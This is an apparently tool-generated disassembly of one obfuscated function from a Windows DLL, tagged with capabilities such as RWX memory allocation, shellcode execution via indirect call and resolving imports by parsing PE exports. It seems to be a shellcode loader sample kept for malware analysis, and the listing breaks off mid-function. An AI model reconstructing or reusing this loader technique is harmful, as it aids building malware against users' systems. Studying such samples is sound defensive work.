Function at 0x10007b90
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Encode data using base64
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4d8
push esi
push edi
mov ax, word [0x1000f068]
movzx eax, byte [0x1000f005]
mov dl, byte [0x1000f002]
mov ecx, dword [0x1000f030]
mov word [esp + 0x18], ax
mov eax, dword [0x1000f034]
mov dword [esp + 0x38], 0x7e7a
mov dword [esp + 0x3c], 0
mov dword [esp + 0x50], 0x7a27
mov dword [esp + 0x84], eax
mov eax, 0x94d0
mov word [esp + 0x1c], ax
mov al, byte [0x1000f01a]
mov byte [esp + 0x12], al
mov al, byte [0x1000f040]
mov byte [esp + 0x14], 0x63
mov byte [esp + 0x4b], al
movzx eax, dl
mov dword [esp + 0x64], eax
movzx eax, word [0x1000f094]
mov dword [esp + 0x54], eax
mov al, byte [0x1000f004]
mov byte [esp + 0x11], al
movzx eax, word [0x1000f068]
mov dword [esp + 0x28], 0x94bf819c
mov dword [esp + 0x2c], 0x45e83
mov dword [esp + 0x5c], eax
movzx eax, word [0x1000f070]
mov dword [esp + 0x34], eax
movzx eax, word [0x1000f074]
mov byte [esp + 0x98], dl
cdq
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], edx
mov al, byte [0x1000f005]
mov byte [esp + 0x62], al
movzx eax, word [0x1000f0a4]
mov byte [esp + 0x13], al
mov eax, 0x9d
mov dword [esp + 0x68], 0x5bbf1b5c
mov dword [esp + 0x6c], 0x8d469
mov word [esp + 0x14], ax
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
mov byte [esp + 0x14], 2
mov eax, dword [esp + 0x20]
add eax, 0x2eb
mov dword [esp + 0x4c], 0x337e972b
mov dword [esp + 0x17c], eax
cmp word [esp + 0x18], 0
mov dword [esp + 0x9c], ecx
mov byte [esp + 0x7c], 0x7e
je 0x10007cee
movsx eax, word [0x1000f04c]
add eax, 0x3a
cdq
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], edx
mov al, byte [0x1000f004]
sub al, 0x6f
mov byte [0x1000f01c], al
jmp 0x10007d21
cmp dword [esp + 0x34], 0x7e
je 0x10007d21
mov ax, word [0x1000f050]
xor ax, cx
mov cx, word [0x1000f050]
movzx eax, ax
sub cx, ax
mov word [0x1000f050], cx
mov ecx, dword [0x1000f010]
mov eax, dword [0x1000f014]
mov dword [esp + 0x50], ecx
mov eax, dword [esp + 0x20]
mov esi, 0x2f0
add eax, 0x3f1
mov dword [esp + 0x170], eax
mov eax, 0xffff8a8e
mov word [str._k], ax
movsx eax, byte [esp + 0x14]
mov ecx, dword [esp + 0x20]
cdq
add ecx, 0x365
mov dword [esp + 0xc0], ecx
mov ecx, dword [0x100b0edc]
mov dword [esp + 0xbc], eax
mov eax, 0x303
add word [0x1000f0a0], ax
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
mov eax, 0x7b79
mov dword [esp + 0x24], edx
sub ax, cx
xor edx, edx
movzx ecx, word [0x1000f054]
movzx eax, ax
add cx, ax
mov word [0x1000f054], cx
movzx ecx, word [0x1000f044]
movzx eax, byte [0x1000f040]
test cx, cx
movzx ecx, word [esp + 0x1c]
cmove edx, eax
not cl
not dl
movsx ecx, cl
movsx eax, dl
mov edx, dword [esp + 0x5c]
imul ecx, eax
mov ax, word [0x1000f074]
movsx eax, al
movsx ecx, cl
imul eax, ecx
mov byte [0x1000f01e], al
mov eax, dword [esp + 0x20]
add eax, 0x172
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x20]
add eax, 0x190
mov dword [esp + 0xdc], eax
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x12]
mov ecx, 0x91
mov byte [0x1000f006], al
nop
cmp byte [esp + 0x13], 0
je 0x10007e33
mov al, byte [0x1000f007]
mov byte [0x1000f003], al
jmp 0x10007e39
mov byte [0x1000f003], dl
sub ecx, 1
jne 0x10007e20
mov al, byte [esp + 0x12]
inc al
mov byte [esp + 0x12], al
sub esi, 1
jne 0x10007e10
mov eax, dword [esp + 0x20]
add eax, 0x2a3
mov ecx, dword [0x1000f08c]
mov dword [esp + 0x68], eax
movzx eax, byte [esp + 0x4b]
mov dword [esp + 0x94], eax
cdq
mov esi, eax
mov dword [esp + 0xf8], edx
mov eax, dword [0x1000f088]
shld ecx, eax, 1
mov dword [esp + 0xc4], esi
add eax, eax
add eax, esi
movsx esi, byte [esp + 0x98]
mov dword [0x1000f088], eax
adc ecx, edx
cmp byte [0x1000f003], 0xfc
mov dword [0x1000f08c], ecx
mov ecx, dword [esp + 0x28]
sete dl
mov eax, dword [esp + 0x2c]
sub dl, cl
movzx eax, word [0x1000f044]
add dl, byte [esp + 0x62]
sub dl, al
movzx eax, word [esp + 0x1c]
sub dl, al
movzx eax, word [0x1000f044]
inc al
add al, dl
mov byte [0x1000f01c], al
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
movzx eax, word [0x1000f0a4]
add ax, word [0x1000f018]
mov word [0x1000f0a4], ax
mov al, byte [esp + 0x11]
mov cl, al
add al, al
add cl, al
mov al, byte [esp + 0x11]
sub al, cl
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x20]
add eax, 0x212
cmp dword [esp + 0x5c], 0x7e
mov dword [esp + 0x58], eax
sbb ecx, ecx
inc ecx
cmp dword [esp + 0x5c], 0x29
sbb eax, eax
inc eax
cmp ecx, eax
jb 0x10007f75
mov edi, dword [esp + 0x34]
mov edx, dword [0x1000f09c]
neg edi
mov ecx, dword [esp + 0x9c]
movzx eax, word [0x1000f094]
add ecx, 0xffff8063
add edx, ecx
movsx ecx, word [str._k]
add ecx, eax
mov dword [esp + 0x4c], ecx
mov ecx, dword [0x1000f008]
mov eax, dword [0x1000f00c]
mov eax, dword [esp + 0x4c]
sub eax, ecx
imul eax, edx
and edi, 3
mov dword [esp + 0x4c], eax
jmp 0x10007fa3
mov eax, esi
mov edi, 3
cdq
cmp dword [0x1000f024], edx
jg 0x10007fa3
jl 0x10007f8f
cmp dword [0x1000f020], eax
jae 0x10007fa3
cmp word [0x1000f0a0], 0
jne 0x10007fa3
mov al, byte [0x100b0edc]
mov byte [0x1000f01d], al
mov eax, dword [esp + 0x20]
add eax, 0x2ef
mov dword [esp + 0xac], eax
mov eax, 1
mov word [esp + 0x18], ax
mov eax, dword [esp + 0x20]
add eax, 0x3b1
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x50]
movsx ecx, byte [0x1000f01d]
movsx eax, al
imul eax, ecx
mov byte [0x1000f003], al
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
mov al, byte [0x1000f004]
mov ax, word [esp + 0x18]
mov al, byte [0x1000f004]
mov eax, dword [esp + 0x20]
add eax, 0x82
mov dword [esp + 0x174], eax
movzx eax, word [0x1000f094]
cmp dword [0x1000f060], eax
mov ax, 0x24
sbb edx, edx
inc edx
cmp ax, word [0x1000f094]
sbb eax, eax
inc eax
cmp edx, eax
jbe 0x10008080
mov eax, dword [0x1000e120]
movq xmm0, qword [str.DsrGetJoinInfo]
mov dword [esp + 0x1b8], eax
mov ax, word [0x1000e124]
mov word [esp + 0x1bc], ax
mov al, byte [0x1000e126]
mov byte [esp + 0x1be], al
lea eax, [esp + 0x1b0]
push eax
movq qword [esp + 0x1b4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [0x1000f020], eax
mov dword [0x1000f024], edx
jmp 0x10008090
movzx eax, word [0x1000f0a0]
sub eax, 0x6ed7d6c0
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x20]
sub esp, 0x10
add eax, 0x6f
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
call fcn.10001940
mov byte [esp + 0x24], al
add esp, 0x10
mov al, byte [esp + 0x14]
mov eax, dword [esp + 0x20]
add eax, 0x323
mov dword [esp + 0x68], eax
mov ax, word [section..data]
mov ax, word [0x1000f050]
call fcn.10001ca0
mov dword [0x1000f06c], eax
mov eax, dword [0x1000f06c]
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
cmp byte [0x1000f01b], 0
je 0x10008153
sub esp, 0xc
call fcn.100016a0
xor ecx, ecx
mov byte [0x1000f01e], al
add esp, 0xc
cmp al, 0x5c
movzx eax, al
setl cl
shr eax, 7
cmp eax, ecx
jae 0x10008131
movzx eax, byte [0x1000f01c]
sub eax, 0x53ab0e35
mov dword [esp + 0x24], 0
mov dword [esp + 0xbc], eax
jmp 0x10008172
cmp word [0x1000f054], 0
je 0x10008172
mov eax, dword [0x1000f098]
add eax, 0xffffff15
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0
jmp 0x10008172
mov ax, word [esp + 0x1c]
sub ax, si
mov word [esp + 0x1c], ax
mov ecx, dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add eax, dword [esp + 0x4c]
add ecx, eax
mov dword [esp + 0x54], ecx
mov eax, dword [esp + 0x20]
push 0x9e27
add eax, 0x38
push 0x35943d2f
push dword [esp + 0x2c]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x2c]
push dword [esp + 0xc8]
add eax, 0x1ae
mov dword [esp + 0xfc], eax
call fcn.1000d360
mov ecx, dword [esp + 0x20]
add ecx, 0x357
mov dword [esp + 0x74], eax
mov dword [esp + 0xd4], ecx
mov ecx, dword [0x100b0edc]
mov dword [esp + 0x20], ecx
mov al, byte [0x1000f004]
mov ecx, dword [0x1000f098]
mov dword [esp + 0x90], eax
add ecx, 0xffffe596
mov eax, dword [esp + 0x20]
add eax, 0x265
mov word [0x1000f0a0], cx
mov dword [esp + 0x68], eax
mov ecx, 0xffffff14
movzx eax, byte [esp + 0x62]
sub ecx, eax
mov dword [esp + 0x180], eax
movzx eax, word [esp + 0x1c]
not eax
mov dword [esp + 0x8c], edx
cmp eax, ecx
jg 0x10008244
movzx ecx, word [0x1000f068]
add ecx, dword [esp + 0x5c]
movzx eax, word [0x1000f054]
not ecx
sub ecx, eax
cmp ecx, dword [esp + 0x34]
mov al, byte [0x1000f094]
sete byte [esp + 0x11]
add al, 0x36
mov byte [0x1000f004], al
jmp 0x1000824f
mov ax, word [0x1000f04c]
mov word [esp + 0x7c], ax
mov eax, dword [esp + 0x20]
sub esp, 0x10
add eax, 0x1d3
mov dword [esp + 0xb0], eax
mov al, byte [0x1000f01b]
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
call fcn.10001a80
movzx eax, al
add esp, 0x10
cdq
mov esi, edx
mov dword [esp + 0x44], eax
mov dword [esp + 0x78], esi
test esi, esi
jne 0x10008294
cmp eax, 0x51
jb 0x100082c8
mov cx, word [esp + 0x1c]
movzx esi, word [esp + 0x18]
movzx eax, cx
movsx ecx, byte [0x1000f003]
or esi, eax
mov eax, dword [esp + 0x54]
imul ecx, esi
imul eax, ecx
mov dword [esp + 0x50], eax
movsx eax, byte [0x1000f01e]
xor eax, 0x88
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x20]
mov ecx, 0xc6
add eax, 0x352
mov dword [esp + 0xd0], eax
movzx eax, byte [esp + 0x12]
add ax, cx
mov word [0x1000f018], ax
mov eax, dword [esp + 0x50]
imul eax, dword [0x1000f020]
mov dword [esp + 0x50], eax
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
mov al, byte [esp + 0x64]
neg al
mov byte [0x1000f002], al
mov eax, dword [esp + 0x20]
add eax, 0x258
mov dword [esp + 0x184], eax
movzx eax, byte [0x1000f005]
movzx ecx, word [0x1000f070]
cmp ax, cx
mov ax, 0x2d
sbb edx, edx
inc edx
cmp ax, cx
sbb eax, eax
inc eax
cmp edx, eax
jbe 0x1000836c
mov al, byte [esp + 0x13]
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
or ecx, eax
je 0x100083dc
mov eax, dword [0x1000f030]
add eax, 0x1cfd
mov word [0x1000f044], ax
jmp 0x100083dc
mov al, byte [esp + 0x14]
xor ecx, ecx
cmp byte [0x1000f01e], al
cmovge ecx, edi
imul ecx, dword [esp + 0x5c]
not ecx
test ecx, ecx
je 0x100083b9
movsx eax, word [0x1000f04c]
xor ecx, ecx
movzx edx, word [0x1000f094]
sub edx, eax
mov ax, word [esp + 0x1c]
test ax, ax
movzx eax, dx
sete cl
add cx, 0x2b
movzx ecx, cx
imul ecx, eax
mov word [0x1000f068], cx
jmp 0x100083dc
movzx eax, word [0x1000f054]
cmp eax, dword [esp + 0x4c]
jle 0x100083dc
cmp byte [0x1000f01b], 0
je 0x100083dc
mov eax, dword [esp + 0x44]
and eax, 0x1b494f2c
or dword [esp + 0x64], eax
mov eax, dword [esp + 0x20]
add eax, 0x3a7
mov dword [esp + 0x188], eax
call fcn.10001ba0
mov word [0x1000f050], ax
xor ecx, ecx
mov ax, word [0x1000f050]
cmp ax, 0x47
movzx eax, word [0x1000f050]
setge cl
xor eax, 0x8000
shr eax, 0xf
cmp eax, ecx
jb 0x1000845e
mov al, byte [esp + 0x11]
mov ax, word [esp + 0x1c]
mov cx, word [0x1000f0a0]
sub cx, word [0x1000f078]
sub cx, word [0x1000f064]
movzx eax, byte [esp + 0x13]
add ax, cx
mov word [0x1000f080], ax
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov eax, 0x45dc
sub cx, ax
mov word [0x1000f0a4], cx
jmp 0x1000849c
cmp dword [0x1000f09c], 0
jne 0x1000849c
mov eax, dword [esp + 0x54]
cdq
sub eax, dword [0x1000f030]
sbb edx, dword [0x1000f034]
or eax, edx
je 0x1000849c
movsx eax, word [0x1000f04c]
movsx ecx, word [0x1000f04c]
add ecx, eax
movzx eax, byte [0x1000f002]
add ax, cx
mov word [0x1000f04c], ax
mov eax, dword [esp + 0x20]
xor ecx, ecx
add eax, 0x1fe
mov dword [esp + 0x68], eax
mov eax, 0xf1
xor ax, word [0x1000f048]
movzx eax, ax
cdq
mov dword [0x1000f010], eax
mov dword [0x1000f014], edx
mov al, byte [esp + 0x13]
test al, al
mov eax, dword [0x100b0edc]
sete cl
mov dword [esp + 0x34], ecx
mov dword [esp + 0x20], eax
mov ax, word [esp + 0x7c]
movsx edi, al
cmp edi, dword [esp + 0x34]
ja 0x100084fe
mov eax, dword [0x1000f088]
mov dword [esp + 0x44], eax
mov eax, dword [0x1000f08c]
mov dword [esp + 0x78], eax
jmp 0x10008532
mov dl, byte [0x1000f005]
mov ax, word [0x1000f068]
neg ax
sbb al, al
xor ecx, ecx
add al, 2
add al, byte [esp + 0x94]
not al
add al, 0x3e
test dl, dl
movzx eax, al
cmove ecx, eax
mov byte [esp + 0x12], cl
mov al, byte [esp + 0x13]
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x20]
mov ecx, dword [0x1000f060]
add eax, 0x346
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
cmp eax, ecx
jne 0x10008559
test edx, edx
jne 0x10008559
xor ecx, ecx
jmp 0x1000855e
mov ecx, 1
mov eax, dword [esp + 0x50]
mov esi, dword [0x1000f008]
imul eax, ecx
mov ecx, dword [0x1000f00c]
cdq
cmp ecx, edx
ja 0x10008592
jb 0x1000857c
cmp esi, eax
ja 0x10008592
mov eax, dword [0x1000f060]
lea ecx, [eax + eax]
mov eax, dword [esp + 0x34]
sub ecx, eax
mov dword [0x1000f060], ecx
jmp 0x100085c5
mov ax, word [0x1000f068]
movzx eax, word [0x1000f03c]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cdq
or esi, eax
or ecx, edx
add esi, 0xffffffff
adc ecx, 0xffffffff
or esi, ecx
je 0x100085c5
mov ax, word [0x1000f04c]
shl ax, 8
mov word [esp + 0x1c], ax
mov eax, dword [esp + 0x20]
add eax, 0xaa
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x5c]
add eax, 0x724cfd99
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x20]
add eax, 0x138
mov dword [esp + 0xcc], eax
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add eax, 0x3c2
mov dword [esp + 0xe8], eax
mov eax, dword [esp + 0x20]
add eax, 0x350
mov dword [esp + 0xd8], eax
mov ecx, dword [0x1000f058]
mov eax, dword [0x1000f05c]
or ecx, eax
jne 0x1000863c
cmp word [esp + 0x1c], cx
je 0x1000863c
mov ax, word [0x1000f03c]
mov al, byte [0x1000f007]
mov eax, dword [esp + 0x20]
mov esi, 0x318
add eax, 0x1bf
mov dword [esp + 0x68], eax
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add eax, 0x35
mov dword [esp + 0xb0], eax
movzx eax, word [0x1000f048]
cdq
sub eax, 0x18
mov dword [esp + 0x80], eax
sbb edx, 0
mov dword [esp + 0x84], edx
mov al, byte [esp + 0x11]
sub al, byte [0x1000f018]
not al
mov byte [0x1000f01a], al
mov eax, dword [esp + 0x20]
add eax, 0xa8
mov dword [esp + 0xbc], eax
push ecx
call fcn.10001790
add esp, 4
mov byte [0x1000f01c], al
test al, al
jne 0x100086ea
mov ecx, dword [0x1000f058]
mov eax, dword [0x1000f05c]
cmp eax, dword [esp + 0x8c]
jb 0x100086ea
ja 0x100086d0
cmp ecx, dword [esp + 0x74]
jb 0x100086ea
lea eax, [edi + 1]
imul eax, dword [esp + 0x4c]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x74]
add eax, 0x38bb0899
mov dword [0x1000f098], eax
mov al, byte [esp + 0x11]
dec esi
inc al
mov byte [esp + 0x11], al
test esi, esi
jg 0x100086a2
mov eax, dword [esp + 0x20]
add eax, 0x1df
mov dword [esp + 0x9c], eax
mov eax, dword [0x100b0edc]
mov dword [esp + 0x20], eax
call fcn.10001ca0
mov byte [esp + 0x14], al
cmp byte [esp + 0x14], 0
je 0x10008756
movsx eax, byte [0x1010b2d9]
push 0xbd8b8
push 0x473a9a63
push dword [esp + 0x100]
mov dword [esp + 0x60], eax
push dword [esp + 0xd0]
call fcn.1000d360
add dword [0x1000f078], eax
adc dword [0x1000f07c], edx
mov eax, dword [esp + 0x20]
add eax, 0x34e
mov dword [esp + 0x24], eax
mov eax, dword [0x1000f088]
or eax, dword [0x1000f08c]
je 0x10008783
xor esi, esi
mov dword [esp + 0x74], 0x3e
mov dword [esp + 0x8c], esi
jmp 0x1000878a
mov esi, dword [esp + 0x8c]
mov eax, dword [esp + 0x20]
add eax, 0xb0
mov dword [esp + 0x68], eax
movzx ecx, word [0x1000f054]
movsx eax, byte [esp + 0x14]
cmp eax, ecx
jl 0x10008848
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
jne 0x100087be
mov ecx, 1
jmp 0x100087c0
xor ecx, ecx
movsx eax, byte [0x1000f01d]
cmp eax, ecx
jge 0x10008825
cmp word [0x1000f04c], 0
mov edx, dword [esp + 0x90]
sete al
add al, dl
mov edx, dword [esp + 0x44]
not al
movzx ecx, dl
mov byte [esp + 0x98], al
mov ax, word [0x1000f03c]
movzx edx, al
movzx eax, byte [esp + 0x98]
imul edx, ecx
movzx ecx, dl
imul ecx, eax
mov byte [0x1000f007], cl
movzx eax, word [0x1000f044]
sub ax, word [0x1000f094]
mov word [0x1000f044], ax
jmp 0x10008848
mov ax, word [0x10291278]
add word [0x1000f064], ax
mov eax, 0x1109
movzx ecx, word [0x1000f018]
imul ecx, eax
mov word [0x1000f044], cx
mov eax, dword [esp + 0x20]
add eax, 0x201
mov dword [esp + 0xc4], eax
movzx eax, byte [0x1000f007]
cdq
cmp eax, dword [esp + 0x74]
jne 0x10008871
cmp edx, esi
jne 0x10008871
mov edx, 1
jmp 0x10008873
xor edx, edx
mov al, byte [0x1000f007]
xor ecx, ecx
cmp al, 0x4c
sete cl
cmp edx, ecx
je 0x100088b7
movzx eax, byte [esp + 0x4b]
cmp ax, word [0x1000f064]
movzx eax, word [0x1000f070]
sbb ecx, ecx
inc ecx
cmp eax, ecx
jae 0x100088b7
movzx eax, word [0x1000f044]
sub ax, word [0x1016d2e6]
inc byte [0x1000f003]
mov word [0x1000f044], ax
mov eax, 0x1f61
mov byte [esp + 0x12b], 0x6c
mov word [0x1000f090], ax
movzx eax, word [0x1000f090]
mov ecx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
cdq
add ecx, eax
movzx eax, word [0x1000f094]
adc esi, edx
cdq
cmp eax, ecx
jne 0x100088fa
cmp edx, esi
jne 0x100088fa
nop
mov ax, word [esp + 0x18]
mov al, byte [0x1000f007]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
je 0x10008931
movzx eax, byte [0x1000f002]
mov ecx, 0x4d16
add ax, cx
mov ecx, dword [0x1000f028]
mov word [0x1000f094], ax
sub cl, 0x23
mov eax, dword [0x1000f02c]
mov byte [0x1000f006], cl
jmp 0x10008956
cmp byte [0x1000f004], 0
je 0x10008956
movzx eax, word [0x1000f064]
mov ecx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
cdq
sub ecx, eax
mov dword [esp + 0x38], ecx
sbb esi, edx
mov dword [esp + 0x3c], esi
mov edx, dword [esp + 0x44]
mov ecx, edx
mov eax, dword [esp + 0x78]
add ecx, 1
mov byte [esp + 0x125], 0x6c
adc eax, 0
mov dword [0x1000f020], 0x27e
mov dword [0x1000f024], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0xf8], eax
cmp ecx, 0x27e
jne 0x10008a3c
test eax, eax
jne 0x10008a3c
mov ax, word [0x1000f090]
movzx ecx, word [0x1000f03c]
xor cx, ax
movzx eax, cx
movzx ecx, word [0x1000f090]
sub cx, ax
cmp word [0x1000f070], 1
mov word [0x1000f090], cx
jne 0x10008a3c
movsx eax, word [0x1000f050]
cmp eax, dword [esp + 0x94]
jle 0x10008a15
movups xmm0, xmmword [str.unicodefffe]
lea eax, [esp + 0x2b0]
push eax
movups xmmword [esp + 0x2b4], xmm0
movq xmm0, qword [0x1000e138]
movq qword [esp + 0x2c4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x1000f090], ax
jmp 0x10008a3c
movsx eax, byte [esp + 0x14]
cmp dword [0x1000f098], eax
jb 0x10008a3c
cmp byte [esp + 0x90], 0
je 0x10008a3c
mov cx, word [esp + 0x7c]
mov al, dl
and al, cl
add cl, al
mov word [esp + 0x7c], cx
mov eax, dword [esp + 0x50]
mov dword [esp + 0xf4], eax
add eax, 0xbb2814e7
mov dword [esp + 0x178], eax
movzx eax, byte [esp + 0x12]
movzx edx, word [0x1000f068]
mov dword [0x1000f020], 0x27e
mov ecx, dword [0x1000f020]
not ecx
mov dword [0x1000f024], 0
xor ecx, eax
mov eax, dword [esp + 0x64]
imul edx, ecx
xor eax, 0x9f09
add edx, eax
movsx eax, byte [esp + 0x14]
inc eax
add eax, edx
mov dword [0x1000f040], eax
movzx eax, word [0x1000f03c]
cdq
sub dword [0x1000f088], eax
mov al, byte [esp + 0x14]
sbb dword [0x1000f08c], edx
xor ecx, ecx
movzx esi, word [0x1000f074]
test al, al
mov edi, dword [0x1000f058]
sete cl
add esi, ecx
mov ecx, dword [0x1000f05c]
movzx eax, byte [0x1000f006]
cdq
add edi, eax
mov eax, dword [esp + 0x90]
movsx eax, al
not edi
adc ecx, edx
cdq
not ecx
xor edi, esi
mov esi, dword [esp + 0x38]
xor ecx, 0
sub eax, dword [0x1000f078]
mov dword [esp + 0x5c], ecx
sbb edx, dword [0x1000f07c]
mov ecx, dword [esp + 0x3c]
push edx
push eax
push ecx
push esi
call fcn.1000d360
sub eax, edi
sbb edx, dword [esp + 0x5c]
or eax, edx
jne 0x10008b1b
mov al, 1
jmp 0x10008b1d
xor al, al
mov byte [0x1000f01b], al
movzx eax, word [esp + 0x18]
mov ecx, dword [0x1000f008]
mov esi, dword [0x1000f00c]
cdq
mov byte [esp + 0x120], 0x4b
cmp ecx, eax
jne 0x10008b73
cmp esi, edx
jne 0x10008b73
mov eax, dword [0x1000f07c]
mov esi, 0x73f5
mul esi
mov ecx, eax
mov eax, dword [0x1000f078]
mul esi
mov dword [0x1000f058], eax
add ecx, edx
mov ax, word [0x1000f060]
sub word [0x1000f064], ax
mov dword [0x1000f05c], ecx
mov eax, dword [esp + 0xc0]
sub al, byte [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
sub cl, byte [esp + 0x17c]
movsx edx, cl
movsx eax, al
imul edx, eax
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x17c]
xor cl, al
mov byte [esp + 0x126], 0x33
movsx ecx, cl
movsx eax, dl
imul ecx, eax
mov byte [esp + 0x12a], 0x6c
mov byte [esp + 0x123], 0x6e
shl cl, 6
add cl, 0x72
mov byte [esp + 0x122], cl
call fcn.10001ba0
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x10008c16
mov esi, dword [0x1000f078]
mov ecx, dword [0x1000f07c]
not esi
mov eax, dword [esp + 0x4c]
not ecx
cdq
xor esi, eax
xor ecx, edx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], ecx
jmp 0x10008c1e
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
movzx eax, byte [0x1000f007]
mov esi, dword [0x1000f028]
mov ecx, dword [0x1000f02c]
cdq
mov byte [esp + 0x129], 0x64
cmp edx, ecx
jb 0x10008c81
ja 0x10008c44
cmp eax, esi
jbe 0x10008c81
movzx eax, word [0x1000f080]
mov ecx, 0xffffff6d
sub ecx, eax
add cx, word [0x1000f04c]
mov eax, dword [0x1000f088]
or eax, dword [0x1000f08c]
mov eax, dword [esp + 0x4c]
mov word [0x1000f04c], cx
jne 0x10008c75
mov eax, dword [esp + 0x54]
cdq
mov dword [0x1000f028], eax
mov dword [0x1000f02c], edx
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0xdc]
mov eax, dword [esp + 0xdc]
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0x74]
or eax, dword [esp + 0x8c]
mov byte [esp + 0x121], 0x65
jne 0x10008cb6
mov cl, 1
jmp 0x10008cb8
xor cl, cl
movzx eax, word [0x1000f054]
add al, cl
mov byte [esp + 0x127], 0x32
movzx eax, al
imul eax, eax, 0x45
mov dword [esp + 0x170], eax
not al
mov dword [esp + 0x94], eax
mov ax, word [esp + 0x7c]
movsx eax, al
mov dword [esp + 0xc0], eax
sub eax, dword [0x1000f060]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0xac]
mov edx, dword [esp + 0xac]
mov ecx, dword [esp + 0xe4]
xor dl, al
sub cl, byte [esp + 0x58]
movsx eax, dl
movsx edx, cl
mov ecx, dword [esp + 0xe4]
sub cl, byte [esp + 0x58]
imul edx, eax
movsx ecx, cl
movsx eax, dl
imul ecx, eax
mov eax, dword [esp + 0xac]
movsx edx, al
mov eax, dword [esp + 0x58]
movsx eax, al
movsx ecx, cl
imul edx, ecx
mov dword [0x1000f030], 0xbe9
mov byte [esp + 0x124], 0x65
mov dword [0x1000f034], 0
movsx ecx, dl
imul eax, ecx
add al, 0x2e
mov byte [esp + 0x128], al
movzx eax, word [esp + 0x18]
cdq
add eax, 1
adc edx, 0
cmp dword [0x1000f030], eax
jne 0x10008da4
cmp dword [0x1000f034], edx
jne 0x10008da4
movzx eax, word [0x1000f064]
sub eax, 0x5d2db91e
mov dword [esp + 0x64], eax
mov ax, word [0x1000f080]
mov ax, word [0x1000f050]
mov ecx, 0x135b
mov edi, dword [esp + 0x78]
sub ax, cx
mov ecx, dword [esp + 0x44]
mov esi, edi
mov dword [0x1000f030], 0xbe9
not ecx
mov dword [0x1000f034], 0
not esi
mov word [0x1000f050], ax
imul eax, dword [0x1000f06c], 0x2981
mov byte [esp + 0x12c], 0
mov dword [0x1000f040], eax
movzx eax, byte [esp + 0x12]
cdq
cmp eax, ecx
jne 0x10008e03
cmp edx, esi
jne 0x10008e03
xor ecx, ecx
jmp 0x10008e08
mov ecx, 1
mov al, byte [0x1000f004]
test ecx, ecx
je 0x10008e3f
mov eax, dword [esp + 0x34]
sub dword [0x1000f088], eax
movzx eax, byte [0x1000f005]
movzx ecx, byte [0x1000f005]
sbb dword [0x1000f08c], 0
add ecx, eax
mov eax, dword [esp + 0x54]
add al, cl
mov byte [0x1000f005], al
jmp 0x10008eac
mov eax, dword [0x1000f078]
or eax, dword [0x1000f07c]
jne 0x10008e50
mov dh, 1
jmp 0x10008e52
xor dh, dh
movzx eax, word [0x1000f0a4]
mov cx, word [esp + 0x1c]
not al
not cl
add cl, al
mov al, byte [esp + 0x62]
shl al, 4
add al, byte [esp + 0x62]
mov word [esp + 0x98], cx
mov ecx, dword [esp + 0x74]
mov dl, cl
shl al, 2
neg dl
sub dl, al
movzx ecx, dh
movzx eax, word [0x1000f04c]
movzx eax, al
imul eax, ecx
movzx ecx, dl
or al, byte [esp + 0x98]
not al
movzx eax, al
imul ecx, eax
mov byte [0x1000f01a], cl
mov ecx, dword [esp + 0x44]
mov eax, 0x6a
add ecx, eax
mov word [0x1000f054], ax
movzx eax, word [0x1000f054]
mov esi, edi
cdq
adc esi, 0
cmp eax, ecx
jne 0x10008ed7
cmp edx, esi
jne 0x10008ed7
mov ax, word [esp + 0x18]
mov eax, 0x6a
mov word [0x1000f054], ax
movsx eax, byte [esp + 0x11]
add eax, dword [esp + 0x180]
cdq
mov dword [0x1000f088], eax
movsx eax, word [0x1000f080]
movsx edi, word [0x1000f080]
sub eax, 0x2a89
